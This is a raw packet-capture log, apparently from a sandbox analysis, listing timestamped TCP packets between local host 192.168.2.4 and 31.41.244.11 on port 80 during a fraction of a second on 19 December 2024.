Dec 19, 2024 06:09:43.265820980 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.266760111 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.266843081 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.266886950 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.266935110 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.267875910 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.267926931 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.267985106 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.268090010 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.268929958 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.268984079 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.269057989 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.269161940 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.270009995 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.270138979 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.270179033 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.270196915 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.271116018 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.271173000 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.271248102 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.271301985 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.272224903 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.272284031 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.272345066 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.272388935 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.273283958 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.273339987 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.273401022 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.273504972 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.274411917 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.274465084 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.274524927 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.274714947 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.275482893 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.275541067 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.275578976 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.275623083 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.276583910 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.276629925 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.276760101 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.276962996 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.277729988 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.277782917 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.277784109 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.277828932 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.278758049 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.278814077 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.278872967 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.278918982 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.279849052 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.279905081 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.279978991 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.280082941 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.280946016 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.281045914 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.281047106 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.281090021 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.282064915 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.282123089 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.282181978 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.282269001 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.283113003 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.283171892 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.283220053 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.283354998 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.284204006 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.284252882 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.284311056 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.284360886 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.285278082 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.285329103 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.285382032 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.285434008 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.286350012 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.286406994 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.286478996 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.286559105 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.287501097 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.287535906 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.287553072 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.287569046 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.288542032 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.288660049 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.288718939 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.289622068 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.289680004 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.289753914 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.290218115 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.290752888 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.290807009 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.290852070 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.290930033 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.291802883 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.291935921 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.291958094 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.291975975 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.292880058 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.292936087 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.293005943 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.293057919 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.294018984 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.294068098 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.294128895 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.294298887 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.295084000 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.295135021 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.295207024 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.295253038 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.296260118 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.296315908 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.296387911 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.296519995 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.297259092 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.297306061 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.297379017 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.297422886 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.298363924 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.298413992 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.298490047 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.298541069 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.299437046 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.299490929 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.299576044 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.299628973 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.300540924 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.300592899 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.300636053 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.300688982 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.301604986 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.301660061 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.301733971 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.301826000 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.302696943 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.302748919 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.302824020 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.302877903 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.303812027 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.303872108 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.303930044 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.304058075 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.304874897 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.304929018 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.305002928 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.305226088 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.305975914 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.306032896 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.306094885 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.306253910 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.307130098 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.307184935 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.307187080 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.307235956 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.308132887 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.308187962 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.308226109 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.308270931 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.309261084 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.309320927 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.309391022 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.309463024 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.310323954 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.310374975 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.310447931 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.310605049 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.311444044 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.311496019 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.311595917 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.311649084 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.312525034 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.312576056 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.312634945 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.312696934 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.313651085 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.313714027 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.313772917 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.314059973 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.314699888 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.314754963 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.314819098 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.314870119 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.315773964 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.315825939 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.315886021 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.315937042 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.451530933 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.451606989 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.451657057 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.451771021 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.452053070 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.452106953 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.452223063 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.452277899 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.453152895 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.453207970 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.453210115 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.453264952 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.454226971 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.454282045 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.454353094 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.454406023 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.455382109 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.455434084 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.455487013 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.456384897 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.456444025 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.456506968 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.456561089 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.457536936 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.457592964 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.457654953 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.457701921 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.458698988 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.458750963 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.458760023 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.458800077 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.459677935 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.459732056 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.459805965 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.459851027 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.460752010 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.460869074 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.460935116 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.461839914 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.461918116 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.461957932 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.462006092 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.462953091 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.463044882 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.463083982 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.463154078 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.464027882 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.464174986 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.464222908 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.465125084 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.465186119 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.465231895 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.465289116 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.466196060 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.466254950 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.466309071 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.466375113 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.467291117 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.467345953 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.467406034 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.467456102 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.468401909 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.468453884 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.468516111 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.468570948 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.469485998 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.469537973 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.469588041 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.469641924 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.470561981 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.470614910 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.470669031 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.470721960 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.471656084 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.471775055 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.471816063 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.471837997 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.472759008 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.472812891 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.472863913 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.473845959 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.473897934 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.473900080 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.473953962 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.474922895 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.475050926 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.475107908 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.476026058 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.476079941 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.476140976 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.476188898 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.477118015 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.477174044 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.477247000 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.477296114 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.478241920 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.478308916 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.478313923 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.478358984 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.479281902 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.479337931 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.479394913 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.479446888 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.480376959 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.480469942 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.480513096 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.480525970 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.481456041 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.481517076 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.481573105 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.481753111 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.482558966 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.482609034 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.482659101 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.482707977 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.483680010 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.483730078 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.483791113 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.483844995 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.484751940 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.484875917 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.484925985 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.485814095 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.485866070 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.485925913 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.485977888 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.486916065 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.486968994 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.487029076 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.487091064 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.488046885 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.488215923 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.488266945 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.489131927 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.489186049 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.489191055 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.489233017 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.490166903 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.490220070 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.490279913 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.490336895 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.491255045 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.491306067 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.491398096 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.491452932 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.492361069 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.492417097 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.492477894 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.492580891 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.493467093 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.493545055 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.493573904 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.493623018 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.494529963 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.494658947 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.494713068 CET	49838	80	192.168.2.4	31.41.244.11
